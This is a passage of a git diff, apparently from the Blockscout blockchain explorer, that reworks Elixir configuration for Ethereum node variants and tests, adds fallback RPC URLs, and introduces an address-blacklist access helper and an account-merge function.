ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), method_to_url: [ - eth_call: System.get_env("ETHEREUM_JSONRPC_TRACE_URL"), - eth_getBalance: System.get_env("ETHEREUM_JSONRPC_TRACE_URL"), - trace_replayTransaction: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") + eth_call: :eth_call, + eth_getBalance: :trace, + trace_replayTransaction: :trace ], - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] + http_options: ConfigHelper.http_options(1) ], variant: EthereumJSONRPC.Besu ], @@ -19,7 +28,8 @@ config :explorer, transport: EthereumJSONRPC.WebSocket, transport_options: [ web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") ], variant: EthereumJSONRPC.Besu ] diff --git a/apps/explorer/config/prod/erigon.exs b/apps/explorer/config/prod/erigon.exs index b5d95a95d0e9..a32d59ca293e 100644 --- a/apps/explorer/config/prod/erigon.exs +++ b/apps/explorer/config/prod/erigon.exs @@ -1,17 +1,26 @@ import Config +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + config :explorer, json_rpc_named_arguments: [ transport: EthereumJSONRPC.HTTP, transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL"), + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), method_to_url: [ - eth_call: System.get_env("ETHEREUM_JSONRPC_TRACE_URL"), - eth_getBalance: System.get_env("ETHEREUM_JSONRPC_TRACE_URL"), - trace_replayTransaction: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") + eth_call: :eth_call, + eth_getBalance: :trace, + trace_replayTransaction: :trace ], - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] + http_options: ConfigHelper.http_options(1) ], variant: EthereumJSONRPC.Erigon ], @@ -19,7 +28,8 @@ config :explorer, transport: EthereumJSONRPC.WebSocket, transport_options: [ web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") ], variant: EthereumJSONRPC.Erigon ] diff --git a/apps/explorer/config/prod/filecoin.exs b/apps/explorer/config/prod/filecoin.exs new file mode 100644 index 000000000000..c006935abd16 --- /dev/null +++ b/apps/explorer/config/prod/filecoin.exs @@ -0,0 +1,34 @@ +import Config + +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + +config :explorer, + json_rpc_named_arguments: [ + transport: EthereumJSONRPC.HTTP, + transport_options: [ + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), + method_to_url: [ + eth_call: :eth_call, + trace_block: :trace + ], + http_options: ConfigHelper.http_options(1) + ], + variant: EthereumJSONRPC.Filecoin + ], + subscribe_named_arguments: [ + transport: EthereumJSONRPC.WebSocket, + transport_options: [ + web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") + ], + variant: EthereumJSONRPC.Filecoin + ] diff --git a/apps/explorer/config/prod/ganache.exs b/apps/explorer/config/prod/ganache.exs deleted file mode 100644 index 694d1ea4d9e5..000000000000 --- a/apps/explorer/config/prod/ganache.exs +++ /dev/null @@ -1,20 +0,0 @@ -import Config - -config :explorer, - json_rpc_named_arguments: [ - transport: EthereumJSONRPC.HTTP, - transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL"), - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] - ], - variant: EthereumJSONRPC.Ganache - ], - subscribe_named_arguments: [ - transport: EthereumJSONRPC.WebSocket, - transport_options: [ - web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") - ], - variant: EthereumJSONRPC.Ganache - ] diff --git a/apps/explorer/config/prod/geth.exs b/apps/explorer/config/prod/geth.exs index 026c06204749..0537f0d4d436 100644 --- a/apps/explorer/config/prod/geth.exs +++ b/apps/explorer/config/prod/geth.exs @@ -1,12 +1,26 @@ import Config +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + config :explorer, json_rpc_named_arguments: [ transport: EthereumJSONRPC.HTTP, transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL"), - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), + method_to_url: [ + eth_call: :eth_call, + debug_traceTransaction: :trace, + debug_traceBlockByNumber: :trace + ], + http_options: ConfigHelper.http_options(1) ], variant: EthereumJSONRPC.Geth ], @@ -14,7 +28,8 @@ config :explorer, transport: EthereumJSONRPC.WebSocket, transport_options: [ web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") ], variant: EthereumJSONRPC.Geth ] diff --git a/apps/explorer/config/prod/nethermind.exs b/apps/explorer/config/prod/nethermind.exs new file mode 100644 index 000000000000..995621848fe0 --- /dev/null +++ b/apps/explorer/config/prod/nethermind.exs @@ -0,0 +1,35 @@ +import Config + +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + +config :explorer, + json_rpc_named_arguments: [ + transport: EthereumJSONRPC.HTTP, + transport_options: [ + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), + method_to_url: [ + eth_call: :eth_call, + eth_getBalance: :trace, + trace_replayTransaction: :trace + ], + http_options: ConfigHelper.http_options(1) + ], + variant: EthereumJSONRPC.Nethermind + ], + subscribe_named_arguments: [ + transport: EthereumJSONRPC.WebSocket, + transport_options: [ + web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") + ], + variant: EthereumJSONRPC.Nethermind + ] diff --git a/apps/explorer/config/prod/parity.exs b/apps/explorer/config/prod/parity.exs deleted file mode 100644 index 796a06643388..000000000000 --- a/apps/explorer/config/prod/parity.exs +++ /dev/null @@ -1,25 +0,0 @@ -import Config - -config :explorer, - json_rpc_named_arguments: [ - transport: EthereumJSONRPC.HTTP, - transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL"), - method_to_url: [ - eth_call: System.get_env("ETHEREUM_JSONRPC_TRACE_URL"), - eth_getBalance: System.get_env("ETHEREUM_JSONRPC_TRACE_URL"), - trace_replayTransaction: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") - ], - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] - ], - variant: EthereumJSONRPC.Parity - ], - subscribe_named_arguments: [ - transport: EthereumJSONRPC.WebSocket, - transport_options: [ - web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") - ], - variant: EthereumJSONRPC.Parity - ] diff --git a/apps/explorer/config/prod/rsk.exs b/apps/explorer/config/prod/rsk.exs index 316be82dbfd5..c18344ec8abb 100644 --- a/apps/explorer/config/prod/rsk.exs +++ b/apps/explorer/config/prod/rsk.exs @@ -1,17 +1,26 @@ import Config +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + config :explorer, json_rpc_named_arguments: [ transport: EthereumJSONRPC.HTTP, transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL"), + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), method_to_url: [ - eth_call: System.get_env("ETHEREUM_JSONRPC_TRACE_URL"), - eth_getBalance: System.get_env("ETHEREUM_JSONRPC_TRACE_URL"), - trace_replayTransaction: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") + eth_call: :eth_call, + eth_getBalance: :trace, + trace_replayTransaction: :trace ], - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] + http_options: ConfigHelper.http_options(1) ], variant: EthereumJSONRPC.RSK ], @@ -19,7 +28,8 @@ config :explorer, transport: EthereumJSONRPC.WebSocket, transport_options: [ web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") ], variant: EthereumJSONRPC.RSK ] diff --git a/apps/explorer/config/runtime/test.exs b/apps/explorer/config/runtime/test.exs index ab71c6033f64..3bfdfb43792d 100644 --- a/apps/explorer/config/runtime/test.exs +++ b/apps/explorer/config/runtime/test.exs @@ -1,38 +1,120 @@ import Config -config :explorer, Explorer.ExchangeRates, enabled: false, store: :ets, fetch_btc_value: true +alias EthereumJSONRPC.Variant -config :explorer, Explorer.Chain.Cache.BlockNumber, enabled: false - -config :explorer, Explorer.KnownTokens, enabled: false, store: :ets +config :explorer, Explorer.Market.Fetcher.Coin, enabled: false, store: :ets, fetch_btc_value: true +config :explorer, Explorer.Market.Fetcher.History, enabled: false +config :explorer, Explorer.Market.Fetcher.Token, enabled: false -config :explorer, Explorer.Counters.AverageBlockTime, enabled: false +config :explorer, Explorer.Chain.Cache.BlockNumber, enabled: false -config :explorer, Explorer.Counters.AddressesWithBalanceCounter, enabled: false, enable_consolidation: false +config :explorer, Explorer.Chain.Cache.Counters.AverageBlockTime, enabled: false # This historian is a GenServer whose init uses a Repo in a Task process. # This causes a ConnectionOwnership error config :explorer, Explorer.Chain.Transaction.History.Historian, enabled: false -config :explorer, Explorer.Market.History.Historian, enabled: false -config :explorer, Explorer.Counters.AddressesCounter, enabled: false, enable_consolidation: false +for counter <- [ + Explorer.Chain.Cache.Counters.AddressesCount, + Explorer.Chain.Cache.Counters.Optimism.LastOutputRootSizeCount, + Explorer.Chain.Cache.Counters.Transactions24hCount, + Explorer.Chain.Cache.Counters.NewPendingTransactionsCount, + Explorer.Chain.Cache.Counters.ContractsCount, + Explorer.Chain.Cache.Counters.NewContractsCount, + Explorer.Chain.Cache.Counters.VerifiedContractsCount, + Explorer.Chain.Cache.Counters.NewVerifiedContractsCount, + Explorer.Chain.Cache.Counters.WithdrawalsSum + ] do + config :explorer, counter, + enabled: false, + enable_consolidation: false +end + +config :explorer, Explorer.Chain.Cache.Counters.Rootstock.LockedBTCCount, + enabled: true, + global_ttl: :timer.minutes(10), + locking_cap: 21_000_000 config :explorer, Explorer.Market.History.Cataloger, enabled: false +config :explorer, Explorer.SmartContract.CertifiedSmartContractCataloger, enabled: false config :explorer, Explorer.Tracer, disabled?: false +config :explorer, Explorer.TokenInstanceOwnerAddressMigration.Supervisor, enabled: false + +config :explorer, Explorer.Utility.RateLimiter, enabled: false + +config :explorer, Explorer.Utility.Hammer.Redis, enabled: false +config :explorer, Explorer.Utility.Hammer.ETS, enabled: true + +for migrator <- [ + # Background migrations + Explorer.Migrator.TransactionsDenormalization, + Explorer.Migrator.AddressCurrentTokenBalanceTokenType, + Explorer.Migrator.AddressTokenBalanceTokenType, + Explorer.Migrator.SanitizeMissingBlockRanges, + Explorer.Migrator.SanitizeIncorrectNFTTokenTransfers, + Explorer.Migrator.TokenTransferTokenType, + Explorer.Migrator.SanitizeIncorrectWETHTokenTransfers, + Explorer.Migrator.TransactionBlockConsensus, + Explorer.Migrator.TokenTransferBlockConsensus, + Explorer.Migrator.ShrinkInternalTransactions, + Explorer.Migrator.RestoreOmittedWETHTransfers, + Explorer.Migrator.SanitizeMissingTokenBalances, + Explorer.Migrator.SanitizeReplacedTransactions, + Explorer.Migrator.ReindexInternalTransactionsWithIncompatibleStatus, + Explorer.Migrator.SanitizeDuplicatedLogIndexLogs, + Explorer.Migrator.RefetchContractCodes, + Explorer.Migrator.BackfillMultichainSearchDB, + Explorer.Migrator.SanitizeVerifiedAddresses, + Explorer.Migrator.SmartContractLanguage, + Explorer.Migrator.SanitizeEmptyContractCodeAddresses, + Explorer.Migrator.BackfillMetadataURL, + Explorer.Migrator.SanitizeErc1155TokenBalancesWithoutTokenIds, + Explorer.Migrator.ReindexDuplicatedInternalTransactions, + Explorer.Migrator.MergeAdjacentMissingBlockRanges, + Explorer.Migrator.UnescapeQuotesInTokens, + Explorer.Migrator.SanitizeDuplicateSmartContractAdditionalSources, + + # Heavy DB index operations + Explorer.Migrator.HeavyDbIndexOperation.CreateLogsBlockHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropLogsBlockNumberAscIndexAscIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateLogsAddressHashBlockNumberDescIndexDescIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropLogsAddressHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropLogsAddressHashTransactionHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropLogsIndexIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateLogsAddressHashFirstTopicBlockNumberIndexIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropInternalTransactionsFromAddressHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateInternalTransactionsBlockNumberDescTransactionIndexDescIndexDescIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersBlockNumberAscLogIndexAscIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersFromAddressHashTransactionHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersToAddressHashTransactionHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersTokenContractAddressHashTransactionHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersBlockNumberIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropAddressesVerifiedIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedTransactionsCountDescHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedFetchedCoinBalanceDescHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateSmartContractsLanguageIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropTransactionsCreatedContractAddressHashWithPendingIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropTransactionsFromAddressHashWithPendingIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropTransactionsToAddressHashWithPendingIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateLogsDepositsWithdrawalsIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesTransactionsCountDescPartialIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesTransactionsCountAscCoinBalanceDescHashPartialIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateInternalTransactionsBlockHashTransactionIndexIndexUniqueIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateSmartContractAdditionalSourcesUniqueIndex + ] do + config :explorer, migrator, enabled: false +end + config :explorer, realtime_events_sender: Explorer.Chain.Events.SimpleSender -variant = - if is_nil(System.get_env("ETHEREUM_JSONRPC_VARIANT")) do - "parity" - else - System.get_env("ETHEREUM_JSONRPC_VARIANT") - |> String.split(".") - |> List.last() - |> String.downcase() - end +config :indexer, Indexer.Fetcher.TokenInstance.Helper, host_filtering_enabled?: false + +variant = Variant.get() Code.require_file("#{variant}.exs", "#{__DIR__}/../../../explorer/config/test") Code.require_file("#{variant}.exs", "#{__DIR__}/../../../indexer/config/test") diff --git a/apps/explorer/config/test.exs b/apps/explorer/config/test.exs index 3c7fc40fecd9..a3b6c11f7f1b 100644 --- a/apps/explorer/config/test.exs +++ b/apps/explorer/config/test.exs @@ -3,20 +3,106 @@ import Config # Lower hashing rounds for faster tests config :bcrypt_elixir, log_rounds: 4 +database_url = System.get_env("TEST_DATABASE_URL") +database = if database_url, do: nil, else: "explorer_test" +hostname = if database_url, do: nil, else: "localhost" + # Configure your database config :explorer, Explorer.Repo, - database: "explorer_test", - hostname: "localhost", + database: database, + hostname: hostname, + url: database_url, pool: Ecto.Adapters.SQL.Sandbox, # Default of `5_000` was too low for `BlockFetcher` test - ownership_timeout: :timer.minutes(7), + ownership_timeout: :timer.minutes(1), timeout: :timer.seconds(60), - queue_target: 1000 + queue_target: 1000, + migration_lock: nil, + log: false + +config :explorer, Explorer.Repo.EventNotifications, + database: database, + hostname: hostname, + url: database_url, + pool: Ecto.Adapters.SQL.Sandbox, + # Default of `5_000` was too low for `BlockFetcher` test + ownership_timeout: :timer.minutes(1), + timeout: :timer.seconds(60), + queue_target: 1000, + migration_lock: nil, + log: false # Configure API database config :explorer, Explorer.Repo.Replica1, - database: "explorer_test", - hostname: "localhost", + database: database, + hostname: hostname, + url: database_url, + pool: Ecto.Adapters.SQL.Sandbox, + # Default of `5_000` was too low for `BlockFetcher` test + ownership_timeout: :timer.minutes(1), + timeout: :timer.seconds(60), + queue_target: 1000, + log: false + +config :explorer, :proxy, + caching_implementation_data_enabled: true, + implementation_data_ttl_via_avg_block_time: false, + fallback_cached_implementation_data_ttl: :timer.seconds(20), + implementation_data_fetching_timeout: :timer.seconds(20) + +account_database_url = System.get_env("TEST_DATABASE_READ_ONLY_API_URL") || database_url +account_database = if account_database_url, do: nil, else: "explorer_test_account" + +# Configure API database +config :explorer, Explorer.Repo.Account, + database: account_database, + hostname: hostname, + url: account_database_url, + pool: Ecto.Adapters.SQL.Sandbox, + # Default of `5_000` was too low for `BlockFetcher` test + ownership_timeout: :timer.minutes(1), + timeout: :timer.seconds(60), + queue_target: 1000, + log: false + +for repo <- [ + Explorer.Repo.Arbitrum, + Explorer.Repo.Beacon, + Explorer.Repo.Blackfort, + Explorer.Repo.BridgedTokens, + Explorer.Repo.Celo, + Explorer.Repo.Filecoin, + Explorer.Repo.Mud, + Explorer.Repo.Optimism, + Explorer.Repo.PolygonEdge, + Explorer.Repo.PolygonZkevm, + Explorer.Repo.RSK, + Explorer.Repo.Scroll, + Explorer.Repo.Shibarium, + Explorer.Repo.ShrunkInternalTransactions, + Explorer.Repo.Stability, + Explorer.Repo.Suave, + Explorer.Repo.Zilliqa, + Explorer.Repo.ZkSync, + Explorer.Repo.Neon + ] do + config :explorer, repo, + database: database, + hostname: hostname, + url: database_url, + pool: Ecto.Adapters.SQL.Sandbox, + # Default of `5_000` was too low for `BlockFetcher` test + ownership_timeout: :timer.minutes(1), + timeout: :timer.seconds(60), + queue_target: 1000, + log: false, + pool_size: 1 +end + +config :explorer, Explorer.Repo.PolygonZkevm, + database: database, + hostname: hostname, + url: database_url, pool: Ecto.Adapters.SQL.Sandbox, # Default of `5_000` was too low for `BlockFetcher` test ownership_timeout: :timer.minutes(1), @@ -27,5 +113,7 @@ config :logger, :explorer, level: :warn, path: Path.absname("logs/test/explorer.log") -config :explorer, Explorer.ExchangeRates.Source.TransactionAndLog, - secondary_source: Explorer.ExchangeRates.Source.OneCoinSource +config :explorer, Explorer.Chain.Fetcher.CheckBytecodeMatchingOnDemand, enabled: false +config :explorer, Explorer.Chain.Fetcher.FetchValidatorInfoOnDemand, enabled: false + +config :tesla, adapter: Explorer.Mock.TeslaAdapter diff --git a/apps/explorer/config/test/anvil.exs b/apps/explorer/config/test/anvil.exs new file mode 100644 index 000000000000..cebd36b30a84 --- /dev/null +++ b/apps/explorer/config/test/anvil.exs @@ -0,0 +1,13 @@ +import Config + +config :explorer, + json_rpc_named_arguments: [ + transport: EthereumJSONRPC.Mox, + transport_options: [], + variant: EthereumJSONRPC.Anvil + ], + subscribe_named_arguments: [ + transport: EthereumJSONRPC.Mox, + transport_options: [], + variant: EthereumJSONRPC.Anvil + ] diff --git a/apps/explorer/config/test/arbitrum.exs b/apps/explorer/config/test/arbitrum.exs deleted file mode 100644 index 2bb92bef1248..000000000000 --- a/apps/explorer/config/test/arbitrum.exs +++ /dev/null @@ -1,13 +0,0 @@ -import Config - -config :explorer, - json_rpc_named_arguments: [ - transport: EthereumJSONRPC.Mox, - transport_options: [], - variant: EthereumJSONRPC.Arbitrum - ], - subscribe_named_arguments: [ - transport: EthereumJSONRPC.Mox, - transport_options: [], - variant: EthereumJSONRPC.Arbitrum - ] diff --git a/apps/explorer/config/test/filecoin.exs b/apps/explorer/config/test/filecoin.exs new file mode 100644 index 000000000000..e25ea90700c9 --- /dev/null +++ b/apps/explorer/config/test/filecoin.exs @@ -0,0 +1,13 @@ +import Config + +config :explorer, + json_rpc_named_arguments: [ + transport: EthereumJSONRPC.Mox, + transport_options: [], + variant: EthereumJSONRPC.Filecoin + ], + subscribe_named_arguments: [ + transport: EthereumJSONRPC.Mox, + transport_options: [], + variant: EthereumJSONRPC.Filecoin + ] diff --git a/apps/explorer/config/test/ganache.exs b/apps/explorer/config/test/ganache.exs deleted file mode 100644 index a73d451d403c..000000000000 --- a/apps/explorer/config/test/ganache.exs +++ /dev/null @@ -1,13 +0,0 @@ -import Config - -config :explorer, - json_rpc_named_arguments: [ - transport: EthereumJSONRPC.Mox, - transport_options: [], - variant: EthereumJSONRPC.Ganache - ], - subscribe_named_arguments: [ - transport: EthereumJSONRPC.Mox, - transport_options: [], - variant: EthereumJSONRPC.Ganache - ] diff --git a/apps/explorer/config/test/nethermind.exs b/apps/explorer/config/test/nethermind.exs new file mode 100644 index 000000000000..e43ed5f3b415 --- /dev/null +++ b/apps/explorer/config/test/nethermind.exs @@ -0,0 +1,14 @@ +import Config + +config :explorer, + transport: EthereumJSONRPC.HTTP, + json_rpc_named_arguments: [ + transport: EthereumJSONRPC.Mox, + transport_options: [], + variant: EthereumJSONRPC.Nethermind + ], + subscribe_named_arguments: [ + transport: EthereumJSONRPC.Mox, + transport_options: [], + variant: EthereumJSONRPC.Nethermind + ] diff --git a/apps/explorer/config/test/parity.exs b/apps/explorer/config/test/parity.exs deleted file mode 100644 index c0e9464f7e04..000000000000 --- a/apps/explorer/config/test/parity.exs +++ /dev/null @@ -1,14 +0,0 @@ -import Config - -config :explorer, - transport: EthereumJSONRPC.HTTP, - json_rpc_named_arguments: [ - transport: EthereumJSONRPC.Mox, - transport_options: [], - variant: EthereumJSONRPC.Parity - ], - subscribe_named_arguments: [ - transport: EthereumJSONRPC.Mox, - transport_options: [], - variant: EthereumJSONRPC.Parity - ] diff --git a/apps/explorer/lib/explorer.ex b/apps/explorer/lib/explorer.ex index d870da511cea..0becee7b1aa3 100644 --- a/apps/explorer/lib/explorer.ex +++ b/apps/explorer/lib/explorer.ex @@ -7,6 +7,8 @@ defmodule Explorer do if it comes from the database, an external API or others. """ + require Logger + @doc """ Returns the configured coin for `Explorer` """ diff --git a/apps/explorer/lib/explorer/access_helper.ex b/apps/explorer/lib/explorer/access_helper.ex new file mode 100644 index 000000000000..5a0ae37001ce --- /dev/null +++ b/apps/explorer/lib/explorer/access_helper.ex @@ -0,0 +1,57 @@ +defmodule Explorer.AccessHelper do + @moduledoc """ + Helper to restrict access to some pages filtering by address + """ + + alias Explorer.Chain + alias Explorer.Chain.Fetcher.AddressesBlacklist + + @doc """ + Checks if access is restricted based on the provided address_hash_string and map with request params. + + ## Parameters + - `binary()`: A binary input, representing address_hash_string to check for restricted access. + - `nil | map()`: An optional map that may contain admin keys to bypass access restrictions. + + ## Returns + - `{:ok, false}`: If access is not restricted. + - `{:restricted_access, true}`: If access is restricted. + """ + @spec restricted_access?(binary(), nil | map()) :: {:ok, false} | {:restricted_access, true} + def restricted_access?("", _), do: {:ok, false} + + # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity + def restricted_access?(address_hash_string, params) do + restricted_list_var = Application.get_env(:explorer, :addresses_blacklist) + addresses_blacklist = (restricted_list_var && String.split(restricted_list_var, ",")) || [] + + key = if params && Map.has_key?(params, "key"), do: Map.get(params, "key"), else: nil + correct_key = key && key == Application.get_env(:explorer, :addresses_blacklist_key) + + {:ok, address_hash} = Chain.string_to_address_hash(address_hash_string) + blacklisted? = AddressesBlacklist.blacklisted?(address_hash) + + cond do + blacklisted? -> + if correct_key, do: {:ok, false}, else: {:restricted_access, true} + + Enum.empty?(addresses_blacklist) -> + {:ok, false} + + true -> + formatted_restricted_list = + addresses_blacklist + |> Enum.map(fn addr -> + String.downcase(addr) + end) + + formatted_address_hash = String.downcase(address_hash_string) + + address_restricted = + formatted_restricted_list + |> Enum.member?(formatted_address_hash) + + if address_restricted && !correct_key, do: {:restricted_access, true}, else: {:ok, false} + end + end +end diff --git a/apps/explorer/lib/explorer/account.ex b/apps/explorer/lib/explorer/account.ex new file mode 100644 index 000000000000..aa9cd6e79ca7 --- /dev/null +++ b/apps/explorer/lib/explorer/account.ex @@ -0,0 +1,86 @@ +defmodule Explorer.Account do + @moduledoc """ + Context for Account module. + """ + + alias Ecto.Multi + alias Explorer.Account.Api.Key + + alias Explorer.Account.{ + CustomABI, + Identity, + TagAddress, + TagTransaction, + Watchlist, + WatchlistAddress, + WatchlistNotification + } + + alias Explorer.Repo + + def enabled? do + Application.get_env(:explorer, __MODULE__)[:enabled] + end + + @doc """ + Merges multiple Identity records into a primary Identity. + + This function consolidates data from multiple Identity records into a single + primary Identity. It performs a series of merge operations for various + associated entities (API keys, custom ABIs, public tags requests, address tags, + transaction tags, watchlists, watchlist addresses, and watchlist notifications) + and then deletes the merged Identity records. + + ## Parameters + - `identities`: A list of Identity structs. The first element is considered + the primary Identity, and the rest are merged into it. + + ## Returns + - A tuple containing two elements: + 1. The result of the transaction: + - `{:ok, result}` if the merge was successful + - `{:error, failed_operation, failed_value, changes_so_far}` if an error occurred + 2. The primary Identity struct or nil if the input list was empty + + ## Process + 1. Extracts IDs from the input Identity structs + 2. Performs the following merge operations in a single database transaction: + - Merges API keys + - Merges custom ABIs + - Merges public tags requests + - Merges address tags + - Merges transaction tags + - Acquires and merges watchlists + - Merges watchlist addresses + - Merges watchlist notifications + 3. Deletes the merged Identity records + 4. Commits the transaction + + ## Notes + - If an empty list is provided, the function returns `{{:ok, 0}, nil}`. + - This function uses Ecto.Multi for transactional integrity. + - All merge operations update the associated records to point to the primary Identity. + - Some merge operations (like custom ABIs and tags) set `user_created: false` to satisfy database constraints. + - The function relies on the account repository specified in the application configuration. + """ + @spec merge([Identity.t()]) :: {{:ok, any()} | {:error, any()} | Multi.failure(), Identity.t() | nil} + def merge([primary_identity | identities_to_merge]) do + primary_identity_id = primary_identity.id + identities_to_merge_ids = Enum.map(identities_to_merge, & &1.id) + + {Multi.new() + |> Key.merge(primary_identity_id, identities_to_merge_ids) + |> CustomABI.merge(primary_identity_id, identities_to_merge_ids) + |> TagAddress.merge(primary_identity_id, identities_to_merge_ids) + |> TagTransaction.merge(primary_identity_id, identities_to_merge_ids) + |> Watchlist.acquire_for_merge(primary_identity_id, identities_to_merge_ids) + |> WatchlistAddress.merge() + |> WatchlistNotification.merge() + |> Identity.delete(identities_to_merge_ids) + |> Repo.account_repo().transaction(), 